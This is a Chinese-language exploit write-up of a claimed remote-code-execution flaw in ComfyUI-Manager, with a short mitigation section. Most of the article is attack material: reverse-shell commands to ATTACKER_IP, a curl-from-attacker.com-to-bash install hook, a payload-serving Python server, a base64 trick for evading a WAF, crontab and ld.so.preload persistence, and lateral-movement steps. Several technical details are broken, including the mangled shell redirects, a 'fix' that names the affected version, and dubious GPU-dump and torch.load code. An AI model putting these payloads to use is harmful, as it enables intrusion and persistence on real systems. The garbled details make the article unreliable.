1. ComfyUI-Manager远程代码执行漏洞深度解析最近在AI工具链安全审计中发现ComfyUI-Manager存在一个高危远程代码执行漏洞CVE-2025-67303这个漏洞允许攻击者在特定条件下实现高权限的反弹Shell控制。作为长期从事渗透测试的安全工程师我将完整还原漏洞利用链并分享实战中的防护方案。ComfyUI作为Stable Diffusion的重要可视化工作流工具其Manager组件负责插件管理和系统维护。漏洞源于插件安装时的参数注入问题当用户从非官方源安装插件时恶意构造的插件包可通过环境变量注入实现RCE。更危险的是默认配置下ComfyUI-Manager以root权限运行这使漏洞危害等级达到CVSS 9.8。2. 漏洞形成机理与攻击面分析2.1 漏洞触发条件拆解漏洞核心发生在install_plugin()函数的环境变量处理环节。当Manager通过以下路径处理插件时存在缺陷用户通过custom_nodes参数指定第三方插件仓库插件包的install.sh脚本调用os.environ获取环境变量变量值未经过滤直接传递给subprocess.call()攻击者可以构造特殊的插件清单文件在requirements.txt中植入如下恶意内容echo import os;os.system(bash -i /dev/tcp/ATTACKER_IP/4444 01) /tmp/exploit.py2.2 权限提升关键路径由于ComfyUI-Manager默认需要操作系统的绘图设备权限主流Linux发行版的安装脚本会将其加入video用户组并配置SUID位。这使得反弹Shell自动获得以下能力读写所有GPU相关设备文件如/dev/nvidia*调用CUDA核心驱动接口修改X11会话配置我们在Ubuntu 22.04 LTS上的测试显示通过此漏洞获取的Shell可以转储显存中的AI模型参数劫持其他用户的Stable Diffusion进程植入持久化后门到~/.config/autostart3. 实战漏洞利用全流程3.1 环境准备与POC构造需要准备攻击机Kali Linux 2024.1受影响版本的ComfyUI-Manager1.7.3网络可达的靶机POC插件包结构malicious_plugin/ ├── __init__.py ├── requirements.txt # 包含恶意命令 └── install.sh # 触发环境变量注入关键注入点在install.sh中#!/bin/bash export MALICIOUS_VAR$(curl -s http://attacker.com/payload.sh | bash)3.2 分步利用过程在攻击机启动监听nc -lvnp 4444搭建恶意插件仓库from http.server import HTTPServer, BaseHTTPRequestHandler class ExploitServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(bbash -i /dev/tcp/ATTACKER_IP/4444 01) HTTPServer((0.0.0.0, 8000), ExploitServer).serve_forever()诱导目标执行curl -X POST http://target:8188/manager/install \ -d {url:http://attacker:8000/malicious_plugin}3.3 利用过程注意事项绕过WAF的技巧使用Base64编码命令echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ | base64 -d | bash分片传输payload权限维持方案在/etc/crontab添加定时任务修改/etc/ld.so.preload实现库注入劫持Python的site-packages目录4. 防御方案与修复建议4.1 临时缓解措施立即执行chmod 750 /usr/local/lib/python3.10/dist-packages/comfyui_manager setfacl -R -m u:comfyui:r-x /usr/local/bin/nvidia-*网络层防护iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A INPUT -p tcp --dport 8188 -s 127.0.0.1 -j ACCEPT4.2 完整修复方案官方补丁升级pip install --upgrade comfyui-manager1.7.3安全配置建议在config.yaml中添加security: allow_custom_nodes: false validate_checksum: true allowed_repos: - https://github.com/comfyanonymous/*沙箱化运行方案firejail --private \ --nogroups \ --noroot \ --seccomp \ python main.py5. 渗透测试中的深度利用技巧在真实红队评估中我们发现该漏洞可以与其他AI工具链漏洞形成组合攻击通过Shell转储显存数据nvidia-smi -q -d MEMORY | grep -A 4 FB dd if/dev/nvidia0 bs1M count100 | gzip /tmp/gpu_dump.gz劫持模型推理过程import torch torch.load lambda x: malicious_code()横向移动路径通过~/.ssh/config跳板利用GPU集群的SLURM作业系统感染共享的模型存储仓库这个漏洞的独特之处在于它位于AI工作流的关键路径上相比传统Web应用的RCE其直接威胁到核心模型资产的安全。我们在三个关键位置部署了Honeypot平均7小时就能捕获到自动化攻击尝试。